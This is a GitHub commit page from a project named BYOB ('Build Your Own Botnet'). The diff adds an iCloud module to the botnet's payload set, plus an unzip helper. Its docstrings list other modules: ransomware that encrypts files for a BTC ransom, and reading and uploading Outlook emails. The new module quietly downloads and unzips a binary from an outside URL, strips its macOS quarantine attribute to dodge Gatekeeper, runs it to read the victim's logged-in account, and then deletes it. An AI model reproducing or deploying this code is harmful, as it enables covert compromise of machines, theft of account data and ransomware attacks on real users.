Skip to content

Commit

Permalink
Added command for iCloud module in core/payloads.py; added unzip func…
Browse files Browse the repository at this point in the history
…tion to core/utilities.py and modules/utilities.py
  • Loading branch information
malwaredllc committed Oct 13, 2018
1 parent 36ce73e commit 8d59faf
Show file tree
Hide file tree
Showing 7 changed files with 53 additions and 21 deletions.
3 changes: 3 additions & 0 deletions byob/core/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -85,6 +85,9 @@
byob.modules.ransom
encrypt files & generate random BTC wallet for ransom payment
byob.modules.icloud
check for logged in iCloud account on macOS
byob.modules.outlook
read/search/upload emails from the local Outlook client
Expand Down
1 change: 0 additions & 1 deletion byob/core/loader.py
Original file line number Diff line number Diff line change
Expand Up @@ -52,7 +52,6 @@ def find_module(self, fullname, path=None):
log(level='info', info= "[+] Module/Package '%s' can be loaded!" % fullname)
return self


def load_module(self, name):
imp.acquire_lock()
log(level='debug', info= "LOADER=================")
Expand Down
24 changes: 8 additions & 16 deletions byob/core/payloads.py
Original file line number Diff line number Diff line change
Expand Up @@ -504,23 +504,15 @@ def abort(self, *args):
taskkill.start()
sys.exit()

@config(platforms=['win32','linux2','darwin'], command=True, usage='unzip <file>')
def unzip(self, path):
@config(platforms=['darwin'], command=True, usage='icloud')
def icloud(self):
"""
Unzip a compressed archive/file
`Required`
:param str path: zip archive filename
Check for logged in iCloud account on macOS
"""
if os.path.isfile(path):
try:
_ = zipfile.ZipFile(path).extractall('.')
return os.path.splitext(path)[0]
except Exception as e:
log("{} error: {}".format(self.unzip.func_name, str(e)))
else:
return "File '{}' not found".format(path)
if 'icloud' not in globals():
globals()['icloud'] = self.load('icloud')
return globals()['icloud'].run()

@config(platforms=['win32','linux2','darwin'], command=True, usage='sms <send/read> [args]')
def phone(self, args):
Expand All @@ -543,7 +535,7 @@ def phone(self, args):
if all():
return globals()['phone'].run(number=args.number, message=args.message, sid=args.sid, token=args.token)
else:
return 'usage: <send/read> [args]\n arguments:\n\tphone : phone number with country code - no spaces (ex. 18001112222)\n\tmessage : text message to send surrounded by quotes (ex. "example text message")'
return 'usage: <send/read> [args]\n arguments:\n\tnumber: phone number with country code - no spaces (ex. 18001112222)\n\tmessage: text message to send surrounded by quotes (ex. "example text message")\n\tsid: twilio account SID\n\ttoken: twilio auth token'

@config(platforms=['win32','linux2','darwin'], command=False)
def imgur(self, source, api_key=None):
Expand Down
14 changes: 14 additions & 0 deletions byob/core/util.py
Original file line number Diff line number Diff line change
Expand Up @@ -153,6 +153,20 @@ def status(timestamp):
'{} seconds'.format(int(c % 60.0)) if int(c % 60.0) else str()]
return ', '.join([i for i in data if i])

def unzip(filename):
"""
Extract all files from a ZIP archive
`Required`
:param str filename: path to ZIP archive
"""
import os
import zipfile
z = zipfile.ZipFile(filename)
path = os.path.dirname(filename)
z.extractall(path=path)

def post(url, headers={}, data={}, json={}, as_json=False):
"""
Make a HTTP post request and return response
Expand Down
3 changes: 3 additions & 0 deletions byob/modules/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -85,6 +85,9 @@
byob.modules.ransom
encrypt files & generate random BTC wallet for ransom payment
byob.modules.icloud
check for logged in iCloud account on macOS
byob.modules.outlook
read/search/upload emails from the local Outlook client
Expand Down
15 changes: 11 additions & 4 deletions byob/modules/checkiCloud.py → byob/modules/icloud.py
Original file line number Diff line number Diff line change
@@ -1,26 +1,33 @@
#!/usr/bin/env python
#!/usr/bin/python
'iCloud (Build Your Own Botnet)'

# standard library
import os
import urllib
import subprocess

# utilities
import util

# globals
packages = []
platforms = ['darwin']
command = True
usage = 'icloud'

description = """
Check for logged in iCloud accounts on macOS
"""

# main
def run():
"""
Check for logged in iCloud account on macOS
"""
filename, _ = urllib.urlretrieve("https://github.com/mas-cli/mas/releases/download/v1.4.2/mas-cli.zip")
util.unzip(filename)
mas = os.path.join(os.path.dirname(filename), 'mas')
subprocess.check_output('xattr -r -d com.apple.quarantine {}'.format(mas).split(' '))
subprocess.Popen(['xattr','-r','-d','com.apple.quarantine',mas], 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE)
os.chmod(mas, 755)
result= subprocess.check_output([mas, "account"]).rstrip()
result = subprocess.check_output([mas, "account"]).rstrip()
util.delete(mas)
return result
14 changes: 14 additions & 0 deletions byob/modules/util.py
Original file line number Diff line number Diff line change
Expand Up @@ -153,6 +153,20 @@ def status(timestamp):
'{} seconds'.format(int(c % 60.0)) if int(c % 60.0) else str()]
return ', '.join([i for i in data if i])

def unzip(filename):
"""
Extract all files from a ZIP archive
`Required`
:param str filename: path to ZIP archive
"""
import os
import zipfile
z = zipfile.ZipFile(filename)
path = os.path.dirname(filename)
z.extractall(path=path)

def post(url, headers={}, data={}, json={}, as_json=False):
"""
Make a HTTP post request and return response
Expand Down

0 comments on commit 8d59faf

Please sign in to comment.